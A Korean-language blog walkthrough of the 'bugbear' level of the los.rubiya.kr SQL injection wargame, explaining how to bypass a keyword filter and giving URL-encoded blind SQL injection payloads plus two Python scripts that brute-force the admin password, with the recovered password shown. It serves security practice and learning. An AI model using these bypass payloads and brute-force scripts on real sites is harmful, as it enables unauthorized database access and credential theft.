[bugbear]
이번 문제는 preg_match함수에 의해 싱글쿼터, substr, ascii, =, or, and, 공백, like 가 막혀있다.
웬만한거는 거의 다 막아높은것 같다. 우선 싱글쿼터는 더블쿼터로, substr은 left, ascii는 우회를 안해도 될것 같고
=, like 대신 in을 or는 ||, and는 &&로 공백은 탭이나 개행으로 우회를 하면 비밀번호를 구할 수 있을것 같다.
우선 length함수로 길이를 구하고, left를 통해 비밀번호를 구하자.
?no=""%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(숫자) 이런식으로 길이를 알아내고
?no=""%0a||%0aid%0ain%0a("admin")%0a%26%26%0aleft(pw,1)%0ain%0a("문자")로 비밀번호를 알아내면 된다.
import requests
for admin_len in range(99) :
URL='http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
query={'no': '""\n||\nid\nin\n("admin")\n&&\nlength(pw)\nin\n('+str(admin_len)+')'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break
위의 python을 실행시키면 비밀번호의 길이는 8이라는것을 알수 있다.
import requests
password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
query={'no': '""\n||\nid\nin\n("admin")\n&&\nleft(pw,'+str(admin_len+1)+')\nin\n("'+password+chr(admin_pass)+'")'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '2uop4tsvpkjlamhuuq5fgpan10'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break
위의 python을 실행시키면 비밀번호는 '52dc3991'이라는것을 알 수 있다.
?pw=52dc3991을 입력하면 클리어!
'CTF_ > los.rubiya.kr' 카테고리의 다른 글
[los.rubiya.kr] assassin #15 (0) | 2018.09.17 |
---|---|
[los.rubiya.kr] giant #14 (0) | 2018.09.12 |
[los.rubiya.kr] darkknight #12 (0) | 2018.08.26 |
[los.rubiya.kr] golem #11 (0) | 2018.08.26 |
[los.rubiya.kr] skeleton #10 (0) | 2018.08.26 |
댓글